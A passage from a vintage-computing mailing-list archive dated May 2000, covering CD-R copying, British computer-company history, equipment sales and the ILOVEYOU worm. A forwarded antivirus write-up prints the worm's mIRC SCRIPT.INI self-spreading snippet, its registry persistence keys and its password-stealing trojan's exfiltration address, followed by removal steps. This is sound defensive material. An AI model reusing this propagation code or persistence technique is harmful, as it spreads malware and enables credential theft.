supposed to be a couple good packages for both UNIX and OpenVMS for writing CD's, but the only time I've needed to make my own UNIX CD, I simply made a ISO image and FTP'd it to the Mac. Zane From sipke at wxs.nl Thu May 4 17:50:04 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:52:33 2005 Subject: How to remove LOVE-LETTER-virus Message-ID: <02ac01bfb61b$16fcc620$030101ac@boll.casema.net> This is what i received from a friend and I will hereby forward for your benefit Sipke Virus Name: VBS/LoveLetter.worm Aliases: none known Characteristics: This worm is a VBS program that is sent attached to an email with the subject ILOVEYOU. The mail contains the message "kindly check the attached LOVELETTER coming from me." The attachment is called LOVE-LETTER-FOR-YOU.TXT.vbs If the user runs the attachment the worm runs using the Windows Scripting Host program. This is not normally present on Windows 95 or Windows NT unless Internet Explorer 5 is installed. When the worm is first run it drops copies of itself in the following places :- C:\WINDOWS\SYSTEM\MSKERNEL32.VBS C:\WINDOWS\WIN32DLL.VBS C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.TXT.VBS It also adds the registry keys :- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ MSKernel32=C:\WINDOWS\SYSTEM\MSKernel32.vbs HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ Win32DLL=C:\WINDOWS\Win32DLL.vbs in order to run the worm at system start-up. The worm replaces the following files :- *.JPG *.JPEG *.MP3 *.MP2 with copies of itself and it adds the extension .VBS to the original filename. So PICT.JPG would be replaced with PICT.JPG.VBS and this would contain the worm. The worm also overwrites the following files :- *.VBS *.VBE *.JS *.JSE *.CSS *.WSH *.SCT *.HTA with copies of itself and renames the files to *.VBS. The worm creates a file LOVE-LETTER-FOR-YOU.HTM which contains the worm and this is then sent to the IRC channels if the mIRC client is installed. This is accomplished by the worm replacing the file SCRIPT.INI with the following script :- [script] n0=on 1:JOIN:#:{ n1= /if ( $nick == $me ) { halt } n2= /.dcc send $nick C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.HTM n3=} After a short delay the worm uses Microsoft Outlook to send copies of itself to all entries in the address book. The mails will be of the same format as the original mail. This worm also has another trick up it's sleeve in that it tries to download and install an executable file called WIN-BUGSFIX.EXE from the Internet. This exe file is a password stealing program that will email any cached passwords to the mail address MAILME@SUPER.NET.PH In order to facilitate this download the worm sets the start-up page of Microsoft Internet Explorer to point to the web-page containing the password stealing trojan. The email sent by this program is as follows :- From: goat1@192.168.0.2To: mailme@super.net.phSubject: Barok... email.passwords.sender.trojanX-Mailer: Barok... email.passwords.sender.trojan---by: spyderHost: goat1Username: Goat1IP Address: 192.168.0.2 RAS Passwords:... ... Cache Passwords:... ... goatserver.goatnet/goatserver.goatnet : GOATNET\goat1: MAPI : MAPI The password stealing trojan is also installed via the following registry key :- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX to auto run at system start-up. After it has been run the password stealing trojan copies itself to WINDOWS\SYSTEM\WinFAT32.EXE and replaces the registry key with HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinFAT32=Wi nFAT32.EXE Date Discovered: Thursday May 4th 2000 DAT included: 4077 Risk: High > How to disinfect : Virus "I LOVE YOU" > > > > 1/ Kill all process called "wscript.exe" from the Windows NT > > TaskManager or > > from the running applications taskbar. > > > > 2/ Execute the "regedit" program from "Start" menu/"Run..." > > 3/ Using this program, go in > > "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" and > > remove the entry containing MSKernel32.vbs > > 4/ Do the same with > > "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ > > RunServices" > > and Win32DLL.vbs > > > > 5/ Go in "HKEY_CURRENT_USER\Software\Microsoft\Internet > > Explorer\Main" and > > change the value of "Start Page" to "about:blank" > > > > 6/ The virus also infects files on network drives by writing the virus > > script in files with those extensions: vbs, vbe, js, jse, > > css, wsh, sct, > > hta, jpeg, jpg, mp3, mp2. You can check this by making a > > "Find" on every > > network drive, looking for the string "loveletter" (in the > > field "Containing > > text:"). > > > > Look in your sent items to check to who you sent the virus. > > From ss at allegro.com Thu May 4 17:13:40 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: <10005042136.ZM1624@indy.dunnington.u-net.com> Message-ID: <200005042215.PAA20007@opus.allegro.com> Re: > > It's an email worm that takes advantage of MS Active-x controls. > We've already had one hard drive wiped out by it :-( I had to explain to several people here why I wasn't worried :) In the radio/TV reports I've heard about it, I've yet to hear any "expert" explain the simplest method of avoiding this (and similar) viruses: Don't use a mailer that's going to be executing any incoming code. So, two of us here (Pegasus users) are happy, while the MS Outlook users here are paranoid :) If you're curious about Pegasus (a Win95/98/NT mail client), check out www.pegasus.usa.com ... it's free. Personally, I prefer to use elm ... and usually do for most of my important mail. I like being able to say that I use a "steam-powered mail program". Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ss at allegro.com Thu May 4 17:35:26 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:33 2005 Subject: HP 3000/925 available Message-ID: <391198BE.11762.104F2E07@localhost> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 965 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/0cf82835/attachment-0001.bin From rjzambo at attglobal.net Thu May 4 18:15:04 2000 From: rjzambo at attglobal.net (rjzambo@attglobal.net) Date: Sun Feb 27 18:52:33 2005 Subject: NeXT Cube for sale References: <017401bfb60f$3d2a24c0$0200a8c0@marvin> Message-ID: <39120478.8F2302A@attglobal.net> mark I live in montreal. how much to ship it? cheers Mark Gregory wrote: > Greetings. > > A lack of space and financial issues are forcing me to part with an > original NeXT Cube system. This is a system that I recently paid Real Money > for, so unfortunately it's not a freebie. I thought I'd give the list first > crack at it. If I don't get any interest in a week, to eBay it goes. I'm > willing to ship it, but that will be very expensive due to weight. > > Please email me off-list for full details if interested. > > Thanks, > Mark Gregory > gregorym@cadvision.com > > System specs: > > Original NeXT Cube (68030, 400 MB HD, 16 MB RAM) > NeXT 17" MegaPixel monitor > NeXT laser printer > NeXTstep 1.1 on optical disk/NeXTstep 2.1 on HD > All cables, mouse, keyboard, full documentation and several additional > books > NeXTstep/OpenStep upgrade has not been ordered from Apple > All original boxes and inserts. > > Price: $350 Canadian (approx. $235 US) + shipping; system is in Calgary, > Alberta From wilson at dbit.dbit.com Thu May 4 18:35:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:33 2005 Subject: Plextor CD writers In-Reply-To: <200005042055.QAA01289@bg-tc-ppp476.monmouth.com>; from pechter@pechter.dyndns.org on Thu, May 04, 2000 at 04:55:29PM -0400 References: <10005042141.ZM1640@indy.dunnington.u-net.com> <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> Message-ID: <20000504193533.A27790@dbit.dbit.com> On Thu, May 04, 2000 at 04:55:29PM -0400, Bill Pechter wrote: > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... > > I think that the Linux and Unix stuff can... cdrecord on Linux does exactly what you tell it, whether you mean it or not. So you can write any CD format you want, although most of the time you pipe in output from "mkisofs" to get ISO-9660 disks. The one problem I've had has been trying to duplicate existing CDs in a direct disk-to-disk copy, it seems to get caught off guard by the EOF, but it does fine with regular files. This may be something to do with Linux's sometimes vague notion of the size of raw devices (using llseek() to seek to EOF doesn't always return a meaningful offset). The mkfs type programs get around this by doing a binary search to read one byte at 64 different spots, maybe more recent cdrecords have been updated to do this (I'm a bit behind). John Wilson D Bit From kstumpf at unusual.on.ca Thu May 4 18:35:38 2000 From: kstumpf at unusual.on.ca (Kevin Stumpf/Unusual Systems) Date: Sun Feb 27 18:52:33 2005 Subject: Cincinatti Milacron, and other non-computer companies in the business of building computers. References: Message-ID: <002701bfb621$91d514a0$b582b7d1@kstumpf> And if you look on page 36 of Domestic Commercial Computing Power Between 1950 & 1979 (DCCP) you find information about the Cincinatti Milacron George - a true SBC (small business computer). As Allison pointed out, there were models 2100, 2200, and now we know about George. General Mills also dabbled in computer building. You won't find it in DCCP since it was designed and marketed for industrial control. There were many companies that got into, but perhaps the most successful was the Lyons company in England. No one had the type of computer they needed in the early 1950s so they built their own - the LEO - Lyons Electronic Office. From this sprouted ICT, then ICL, and now some non-British company owns what was once ICL. Is the do it yourself spirit still around? Yours in good faith. Kevin Stumpf - The Nostalgic Technophile www.unusual.on.ca - 519.744.2900 EST/EDT (GMT - 5) Author & Publisher of The Guide to Collecting Computers and Computer Collectibles: History, Practice, and Technique From donm at cts.com Thu May 4 18:42:18 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: <200005042215.PAA20007@opus.allegro.com> Message-ID: On Thu, 4 May 2000, Stan Sieler wrote: > Re: > > > It's an email worm that takes advantage of MS Active-x controls. > > We've already had one hard drive wiped out by it :-( > > I had to explain to several people here why I wasn't worried :) > > In the radio/TV reports I've heard about it, I've > yet to hear any "expert" explain the simplest method > of avoiding this (and similar) viruses: > > Don't use a mailer that's going to be executing any incoming code. > > So, two of us here (Pegasus users) are happy, while the > MS Outlook users here are paranoid :) > > If you're curious about Pegasus (a Win95/98/NT mail client), > check out www.pegasus.usa.com ... it's free. > > Personally, I prefer to use elm ... and usually do for most of > my important mail. I like being able to say that > I use a "steam-powered mail program". Pine works well also, but I think it puts out a little more smoke :) - don > > > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler > From mikeford at socal.rr.com Thu May 4 18:07:11 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:33 2005 Subject: HP 3000/925 available In-Reply-To: <391198BE.11762.104F2E07@localhost> Message-ID: >> I have this old HP 3000 that is gathering dust. I think the rule we should make is that anyone posting anything weighing more than 2 lbs without giving the location agrees to pay shipping. ;) Seems fair to me. From pete at dunnington.u-net.com Thu May 4 18:52:33 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:33 2005 Subject: Plextor CD writers In-Reply-To: Bill Pechter "Re: Plextor CD writers" (May 4, 16:55) References: <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> Message-ID: <10005050052.ZM1809@indy.dunnington.u-net.com> On May 4, 16:55, Bill Pechter wrote: > > On May 4, 1:50, Chuck McManis wrote: > > > > > I tried to duplicate the bootable VMS 7.1 CD on my Sony CD-R drive and it > > > didn't work. (Using Adaptec EZ CD creator's "Clone" facility) So I > > guessed > > > it was the block size issue. I wrote: > > More likely just a format that EZ CD can't read -- it understands ISO-9660, > > RockRidge extensions, and Joliet extensions, but I suspect the VMS CD (like > > most Solaris, IRIX, etc) isn't ISO format. If you have access to a > > unix/linux box, try reading it with 'dd' (that's how I copy Solaris, Mac > > HFS, IRIX EFS/XFS, etc). > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... > > I think that the Linux and Unix stuff can... > > Bill The unix software to write audio CDs normally does so from WAV or AIFF (or AIFC) files; cdrecord, cdwrite, and WriteCD all do that. (Those are the only basic writers I know of; software like xcdroast are just frontends to one of the base writers, usually cdrecord). All of them also handle any image file; you'd normally use mkisofs to create an ISO-9660 image file containing whatever you want to write (mkisofs can also include RockRidge or Joliet extensions, can build TRANS.TBL entries for MESSDOS, and can create bootable CDs using El Torito); or use mkhybrid to create a hybrid ISO/HFS filesystem readable on a Mac; or use software like mkefs to create an IRIX bootable EFS CD. To copy a data CD, rather than create an image from a bunch of files, the easiest way is often to use dd. However, on a lot of systems, cdrecord (and probably cdwrite) can read the CD directly via the O.S. To copy an audio CD is more involved, mainly because it's impossible to guarantee that you get exactly the right "sectors" in exactly the right order from the original (a consequence of the way frames are labelled in CD-DA format). Tools like cdparanoia solve that by reading overlapping sections, and doing a lot of sliding comparisons to build up an accurate copy (it creates a WAV file for every track). That's why simpler methods often produce copies that don't sound exactly the same, though some CD-ROM readers do a pretty good job at getting a clean audio stream, especially in conjuction with software like readcdda or cdda2wav. -- Pete Peter Turnbull Dept. of Computer Science University of York From allisonp at world.std.com Thu May 4 17:23:06 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:33 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug Message-ID: <006301bfb61c$7777e970$7164c0d0@ajp166> >Whoa...hold your fire..... while I haven't seen this particular beastie, my >BlackIce Defender just set off an alarm for an attack attempt with the The LOVELETTER worm is real, my partners site is hammered by it. I got a copy of it today on the shell account and it likely can hurt me much if at all on the NTbox (you need those virus/worm/trogan helpers like active-x). No a desktop system at work does not need active-x nor does it need hotmail/instant-messenger (or chat, netmeeting to name a few more). Allison From allisonp at world.std.com Thu May 4 17:31:00 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:34 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug Message-ID: <006401bfb61c$78401b70$7164c0d0@ajp166> You can use outlook express if you do one thing before going on line... Go to TOOLS|options and hit the first item on the READ tab. That oen enables read(aka open) message after usually 10-15seconds. UNCHECK the box, then you can read you mail and if loveletter pops up you can safely delete it (also make sure it's deleted from the deleted items folder too). If you have outlook it's basically the same spiel but I never install it as its fat and usually not used for more than reading mail. Half the users run Netscape (3.01 gold or 4.72) and that is totally immune. Allison -----Original Message----- From: Stan Sieler To: classiccmp@classiccmp.org Date: Thursday, May 04, 2000 6:31 PM Subject: Re: Watch for "ILOVEYOU" loveletter.VBS bug Re: > > It's an email worm that takes advantage of MS Active-x controls. > We've already had one hard drive wiped out by it :-( I had to explain to several people here why I wasn't worried :) In the radio/TV reports I've heard about it, I've yet to hear any "expert" explain the simplest method of avoiding this (and similar) viruses: Don't use a mailer that's going to be executing any incoming code. So, two of us here (Pegasus users) are happy, while the MS Outlook users here are paranoid :) If you're curious about Pegasus (a Win95/98/NT mail client), check out www.pegasus.usa.com ... it's free. Personally, I prefer to use elm ... and usually do for most of my important mail. I like being able to say that I use a "steam-powered mail program". Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From allisonp at world.std.com Thu May 4 17:45:53 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:34 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug Message-ID: <006501bfb61c$79318050$7164c0d0@ajp166> It can be destructive but apparently it's easy to stop it before it does that. That and the files it deletes are mostly images and sounds. I believe it needs to get the downloaded win-bugsfix.exe file and that server/source is unreachable. It's bad as it represents another possble way to compromize MS based systems that are ubiquious. To any other system or a tightend MS one it's noise. Well read up on it as it takes advantage of all the cute little widgets of IE5.0 namely instant messaging, Chat and Active-x controls. Once on the system it uses the outlook/outlookexpress addressbook to send itself to friends and contacts. so if it get to insystem in the average company within minutes every one there has it and it will cascade. If you don't have IE 5.0 or outlook (office87/98 or 2000) your safer. Even when you install IE4.0/sp1 you can kill off some of the toys and make it much harder to infect. The problem is not so much crappy MS as its peoples affliction for toys and not tools. That and W95/98 are very bad for security and win2000 and NT run close if not set up right. W9x effectively has no security and if the user is SHARING folders/files on the local net and using a modem to access the internet that system makes a fine proxy. If you admin uses some sense and takes advantage of even w9x security and policy stuff you can be far more resistant to much of the junk. Allison -----Original Message----- From: Steve Robertson To: classiccmp@classiccmp.org Date: Thursday, May 04, 2000 4:24 PM Subject: RE: Watch for "ILOVEYOU" loveletter.VBS bug It's certainly spreading fast, I've already received three corrupt messages. Two of them came from other list servers (not this one) that I belong to and one came from a friend. Fortunately, I don't think this one is too distructive... Steve Robertson > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. > > WWW.f-secure.com has details. > > Allison > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/c4782954/attachment-0001.html From eric at brouhaha.com Thu May 4 18:58:29 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:34 2005 Subject: Plextor CD writers In-Reply-To: <20000504193533.A27790@dbit.dbit.com> (message from John Wilson on Thu, 4 May 2000 19:35:33 -0400) References: <10005042141.ZM1640@indy.dunnington.u-net.com> <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> <20000504193533.A27790@dbit.dbit.com> Message-ID: <20000504235829.11469.qmail@brouhaha.com> John Wilson wrote: > The one problem I've had has been trying to duplicate existing CDs in a > direct disk-to-disk copy, it seems to get caught off guard by the EOF, but > it does fine with regular files. This may be something to do with Linux's > sometimes vague notion of the size of raw devices (using llseek() to seek > to EOF doesn't always return a meaningful offset). The mkfs type programs > get around this by doing a binary search to read one byte at 64 different > spots, maybe more recent cdrecords have been updated to do this (I'm a > bit behind). The problem with direct CD to CD-R copy is that the OS, device driver, and even the CD-ROM drive do not have any reliable way to know how many sectors there are on the source disc, unless they can rely on file system data, i.e., the ISO 9660 header. If the disc isn't 9660, you'd need some other way to tell. On my system, I use a script I call cd2cdr to make copies of ISO 9660 discs: #!/bin/sh # direct disc-to-disc ISO-9660 CD copy source=/dev/hdc dest="0,6,0" speed=8 cdrecord -v dev=$dest speed=$speed -pad -isosize $source Obviously you'd need to modify the source, dest, and speed variables to suit your system. The -pad option tells cdrecord to write some extra empty sectors at the end, because some systems have trouble reading the last few sectors of a track. The -isosize option tells cdrecord to determine the size of the image from the ISO 9660 header. When writing from an image file (of any sort, not just ISO 9660), you do not need the -isosize header; cdrecord will use the file length. From CLASSICCMP at trailing-edge.com Thu May 4 19:14:33 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:34 2005 Subject: Plextor CD writers Message-ID: <000504201433.20200c84@trailing-edge.com> >To copy an audio CD is more involved, mainly because it's impossible to >guarantee that you get exactly the right "sectors" in exactly the right >order from the original (a consequence of the way frames are labelled in >CD-DA format). Tools like cdparanoia solve that by reading overlapping >sections, and doing a lot of sliding comparisons to build up an accurate >copy (it creates a WAV file for every track). That's why simpler methods >often produce copies that don't sound exactly the same, though some CD-ROM >readers do a pretty good job at getting a clean audio stream, especially in >conjuction with software like readcdda or cdda2wav. I've only used it a few times, but "cdparanoia" is a damn good tool for what it does. Excellent at reporting error correction levels necessary for reading the audio CD, too. Tim. From jhfine at idirect.com Thu May 4 19:29:04 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:52:34 2005 Subject: OT: Test References: Message-ID: <391215CF.72B3704E@idirect.com> >Mike Ford wrote: > >Testing - Please Ignore! > > Three of these messages have shown up on the list, what are you testing? Jerome Fine replies: I am attempting to find out why I am not receiving any classiccmp mail. Since I presume that you are, either my ISP is blocking the mail or I have been dropped from the list. Anyway I can find out? If I have been dropped, how do I subscribe? I was on the old list and never subscribed to the new list as I was transferred over. Sincerely yours, Jerome Fine From mcguire at neurotica.com Thu May 4 19:33:05 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:34 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: Re: Watch for "ILOVEYOU" loveletter.VBS bug (Bill Pechter) References: <14609.52485.674462.260780@phaduka.neurotica.com> <200005042057.QAA01313@bg-tc-ppp476.monmouth.com> Message-ID: <14610.5825.974280.770862@phaduka.neurotica.com> On May 4, Bill Pechter wrote: > > May 4 11:46:16 srv1 sendmail[4958]: LAB04956: usgate.e-mail.com.: SMTP DATA-2 protocol error: 570 Rejected.Potential ILOVEYOU virus. > > OK -- how do you do the sendmail virus filter. I've got to do this at > work. This one was standard functionality in release 8.9.3... -Dave McGuire From mcguire at neurotica.com Thu May 4 19:34:08 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:34 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: Re: Watch for "ILOVEYOU" loveletter.VBS bug (Nick Oliviero) References: <14609.52485.674462.260780@phaduka.neurotica.com> <3911D94E.A64DA6BD@arrl.net> Message-ID: <14610.5888.34622.398860@phaduka.neurotica.com> On May 4, Nick Oliviero wrote: > As far as the micro$lop, soon as I find a -500au my Aptiva is history. How much are they going for these days? -Dave McGuire From xds_sigma7 at hotmail.com Thu May 4 19:39:19 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:34 2005 Subject: Lyons, Elliot, GEC, ICL, et al. Message-ID: <20000505003920.2689.qmail@hotmail.com> OK, for what its worth; Lyons Brothers built the LEO because they wanted to computerize their business, but they couldn't find anyone selling commercial machines, so they went ahead and built their own. LEO, by the way, stands for Lyons Electronic Office. The LEO was actually completed in early 1951, and other companies heard about it and wanted it, so Lyons suddenly were in the computer business. Most people don't know this, but the LEO is the first commercial computer, it beat UNIVAC I to market by several months. Lyons Brothers, Elliot Automation, English Electric, Marconi, ICT, and GEC are all related, not to mention ICL. In 1969, Marconi, GEC, Elliot Automation, and English Electric merged to form Marconi Elliot Computer Systems Ltd., which kept selling the various dissimilar lines (there is some mention of AEI also being a part of this). In 1970 or 71, the company became known as GEC Computers Ltd., and some parts (I don't know what ones for sure), were combined with ICT to form ICL. Basically, GEC Computers Ltd. was all of the real-time systems, and ICL was all the data-processing systems. Somehow Lyons Brothers fits into this picture also, I'm just not sure how. ICL was first bought by an English electronics company called STC plc in 1984, then Fujitsu bought 80% of ICL in 1990. Later Nortel bought STC and then in 1998 Fujitsu bought the other 20% of ICL from Nortel. As a side note, Fujitsu also owns all of Amdahl, having excercised their option to buy the rest of the company, since as you probably know, they put up the money to start Amdahl and as such always owned a large chunk of it. I think GEC has subsided back into Marconi, but I'm not sure, the whole ICL and GEC story is a huge mess really. I hope you don't mind me taking the chance to give you more info about them than you probably wanted. BTW, I know Elliot Brothers (later Elliot Automation) dates back to 1795, and I'm fairly sure some of the other companies involved are that age or older. If anyone has more info I'd like to hear it, I have info on a bunch of models of ICL/GEC/Elliot/English Electric machines too. I'd most like to know more about ICT... ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From lemay at cs.umn.edu Thu May 4 19:42:00 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:34 2005 Subject: Lisa Faceplate In-Reply-To: <005a01bfb60f$db1def40$18dab0d0@default> from "John R. Keys Jr." at "May 4, 2000 04:29:38 pm" Message-ID: <200005050042.TAA01484@caesar.cs.umn.edu> > Did anyone else catch the Lisa 1 faceplate on eBay going for over $200 for just one piece of plastic ? Something is wrong with this picture. That depends on what someone would offer me for a PDP 8/E faceplate. -Lawrence LeMay From kyrrin at bluefeathertech.com Thu May 4 19:45:56 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:34 2005 Subject: Classic Computer Stuff In-Reply-To: <15.35bdcb6.26433b06@aol.com> Message-ID: <3.0.5.32.20000504174556.009735f0@mail.bluefeathertech.com> At 16:43 04-05-2000 EDT, you wrote: >Don't know if for sale posts are OK. I'm a newbie to this group. If it isn't >I won't do it again. >We sell Classic Computer Stuff on eBay Then you have my profound sympathies. I, for one, ceased to patronize Ebay some months back for various reasons which I will not bore the listmembers with, though I will say that the attitude of "Epay" towards its users' privacy had a lot to do with my decision. May I suggest offering your stuff here before you post it on Ebay? It may well save you listing costs, and you'll get an audience that will actually (in most cases that I know of) put what they're buying to active use rather than treating it as some sort of trophy. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From wilson at dbit.dbit.com Thu May 4 20:16:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:34 2005 Subject: Plextor CD writers In-Reply-To: <20000504235829.11469.qmail@brouhaha.com>; from eric@brouhaha.com on Thu, May 04, 2000 at 11:58:29PM -0000 References: <10005042141.ZM1640@indy.dunnington.u-net.com> <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> <20000504193533.A27790@dbit.dbit.com> <20000504235829.11469.qmail@brouhaha.com> Message-ID: <20000504211633.A28089@dbit.dbit.com> On Thu, May 04, 2000 at 11:58:29PM -0000, Eric Smith wrote: > The problem with direct CD to CD-R copy is that the OS, device driver, > and even the CD-ROM drive do not have any reliable way to know how many > sectors there are on the source disc, unless they can rely on file > system data, i.e., the ISO 9660 header. If the disc isn't 9660, you'd > need some other way to tell. FWIW, my Panasonic CW-7502 CD-R drive gives a correct size in response to a SCSI "READ CAPACITY" command. Are you saying that most drives don't support this? Anyway thanks for the tip about -isosize, that will definitely come in handy. I've been trying to make more of a habit of copying CDs and working from the copy, the same way anyone does with floppies, because for some strange reason all my expensive commercial CDs always seem to wind up getting stepped on eventually, and get scratched too badly to read. Especially the M$ ones... John Wilson D Bit From healyzh at aracnet.com Thu May 4 20:19:34 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:34 2005 Subject: -500au (was: Re: Watch for "ILOVEYOU" loveletter.VBS bug) In-Reply-To: <14610.5888.34622.398860@phaduka.neurotica.com> from "Dave McGuire" at May 04, 2000 08:34:08 PM Message-ID: <200005050119.SAA02721@shell1.aracnet.com> > > On May 4, Nick Oliviero wrote: > > As far as the micro$lop, soon as I find a -500au my Aptiva is history. > > How much are they going for these days? > > -Dave McGuire > Well, assuming you're talking about a PWS-500au they're about $2k without any licenses. I got real lucky a few weeks ago and picked up a -433a with a 4D40T graphics card, 64MB RAM, and a 2GB UW SCSI HD. I managed to get it for $700, and then proceeded to add 256MB RAM, replaced the 4D40T with a 3D30 (aka Elsa Gloria Synergy), a SCSI 4x CD-ROM, and a TLZ-06 4mm tape drive. I also did the conversion from a -433a to a -433au myself, OpenVMS really screams on this sucker! If you get an old enough -500a the conversion to a -500au might be fairly easy. In any cast to convert a 'a' to a 'au' you'll need the following: Supported SCSI Card (you can't use any old SCSI card) Supported Video Card SCSI HD and probably SCSI CD-ROM Flash it with the latest ARC/SRM (if you get the kit from Compaq to do this you apparently also get a 'au' nameplate) Of course what I really want is something like a 667Mhz DS20E Workstation with a PowerStorm 330, but I think I can live with what I've got, for the time being. Zane From therunk17 at earthlink.net Thu May 4 20:28:26 2000 From: therunk17 at earthlink.net (Ronald Fraser) Date: Sun Feb 27 18:52:34 2005 Subject: perkin/elmer & concurrent books Message-ID: <200005050125.SAA17839@snipe.prod.itd.earthlink.net> I would like copy of the list. See our site at www.osfn.org/ricm Ron ---------- From: "jdarren" To: Subject: perkin/elmer & concurrent books Date: Thu, May 4, 2000, 5:47 PM One person asked for a list of the p-e/ccc books I have. I lost the message. Please contact me again. So sorry! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/8fa7a561/attachment-0001.html From oliv555 at arrl.net Thu May 4 20:29:58 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:52:34 2005 Subject: 500au was:Re: Watch for "ILOVEYOU" loveletter.VBS bug References: <14609.52485.674462.260780@phaduka.neurotica.com> <3911D94E.A64DA6BD@arrl.net> <14610.5888.34622.398860@phaduka.neurotica.com> Message-ID: <39122416.72F1E35F@arrl.net> There've been several on eBay recently that start out at $400-500 but quickly spiral up due to high interest. I tend to drop out as I am basically cheap .... er.. frugal. Dave McGuire wrote: > On May 4, Nick Oliviero wrote: > > As far as the micro$lop, soon as I find a -500au my Aptiva is history. > > How much are they going for these days? > > -Dave McGuire From at258 at osfn.org Thu May 4 20:38:50 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:34 2005 Subject: Lyons, Elliot, GEC, ICL, et al. In-Reply-To: <20000505003920.2689.qmail@hotmail.com> Message-ID: Didn't ICT begin as BTC? British Tabulating Machine Co. On Thu, 4 May 2000, Will Jennings wrote: > OK, for what its worth; > Lyons Brothers built the LEO because they wanted to computerize their > business, but they couldn't find anyone selling commercial machines, so they > went ahead and built their own. LEO, by the way, stands for Lyons Electronic > Office. The LEO was actually completed in early 1951, and other companies > heard about it and wanted it, so Lyons suddenly were in the computer > business. Most people don't know this, but the LEO is the first commercial > computer, it beat UNIVAC I to market by several months. Lyons Brothers, > Elliot Automation, English Electric, Marconi, ICT, and GEC are all related, > not to mention ICL. In 1969, Marconi, GEC, Elliot Automation, and English > Electric merged to form Marconi Elliot Computer Systems Ltd., which kept > selling the various dissimilar lines (there is some mention of AEI also > being a part of this). In 1970 or 71, the company became known as GEC > Computers Ltd., and some parts (I don't know what ones for sure), were > combined with ICT to form ICL. Basically, GEC Computers Ltd. was all of the > real-time systems, and ICL was all the data-processing systems. Somehow > Lyons Brothers fits into this picture also, I'm just not sure how. ICL was > first bought by an English electronics company called STC plc in 1984, then > Fujitsu bought 80% of ICL in 1990. Later Nortel bought STC and then in 1998 > Fujitsu bought the other 20% of ICL from Nortel. As a side note, Fujitsu > also owns all of Amdahl, having excercised their option to buy the rest of > the company, since as you probably know, they put up the money to start > Amdahl and as such always owned a large chunk of it. I think GEC has > subsided back into Marconi, but I'm not sure, the whole ICL and GEC story is > a huge mess really. I hope you don't mind me taking the chance to give you > more info about them than you probably wanted. BTW, I know Elliot Brothers > (later Elliot Automation) dates back to 1795, and I'm fairly sure some of > the other companies involved are that age or older. If anyone has more info > I'd like to hear it, I have info on a bunch of models of > ICL/GEC/Elliot/English Electric machines too. I'd most like to know more > about ICT... > 